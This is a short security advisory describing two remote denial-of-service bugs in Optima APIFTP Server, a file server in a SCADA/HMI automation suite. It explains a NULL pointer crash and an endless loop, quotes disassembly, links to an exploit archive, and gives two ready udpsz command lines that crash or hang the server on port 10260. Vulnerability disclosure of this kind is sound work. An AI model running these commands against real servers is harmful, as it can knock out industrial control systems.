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Luigi Auriemma
Application: Optima APIFTP Server
http://www.optimalog.com/home.html
Versions: <= 1.5.2.13
Platforms: Windows
Bugs: A] NULL pointer
B] endless loop
Exploitation: remote
Date: 13 Nov 2011
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
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1) Introduction
2) Bugs
3) The Code
4) Fix
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1) Introduction
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Optima is a suite of automation software for controlling PLC via
SCADA/HMI interface.
APIFTP Server is a file server for working with remote files located on
shared folders.
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2) Bugs
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A] NULL pointer
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NULL pointer exploitable through too long path names.
The effect is the displaying of a MessageBox with the error and the
continuing of the execution that will lead to a stack exaustion after
some seconds and the termination of the server.
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B] endless loop
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Endless loop with CPU at 100% caused by incomplete packets:
004A9C93 8B03 /MOV EAX,DWORD PTR DS:[EBX]
004A9C95 8B80 78010000 |MOV EAX,DWORD PTR DS:[EAX+178]
004A9C9B 2D B80B0000 |SUB EAX,0BB8 ; Switch (cases BB8..BE0)
004A9CA0 74 19 |JE SHORT APIFTPSe.004A9CBB
004A9CA2 83E8 14 |SUB EAX,14
004A9CA5 74 47 |JE SHORT APIFTPSe.004A9CEE
004A9CA7 83E8 0A |SUB EAX,0A
004A9CAA 0F84 9D000000 |JE APIFTPSe.004A9D4D
004A9CB0 83E8 0A |SUB EAX,0A
004A9CB3 0F84 CA000000 |JE APIFTPSe.004A9D83
004A9CB9 ^EB D8 |JMP SHORT APIFTPSe.004A9C93
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3) The Code
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http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18112.zip
A]
udpsz -C "e803 0400 ff" -T -D -3 -d SERVER 10260 0x107
wait some seconds, the tool will quit automatically
B]
udpsz -C "e803 0400 00" -T -D SERVER 10260 -1
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4) Fix
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No fix.
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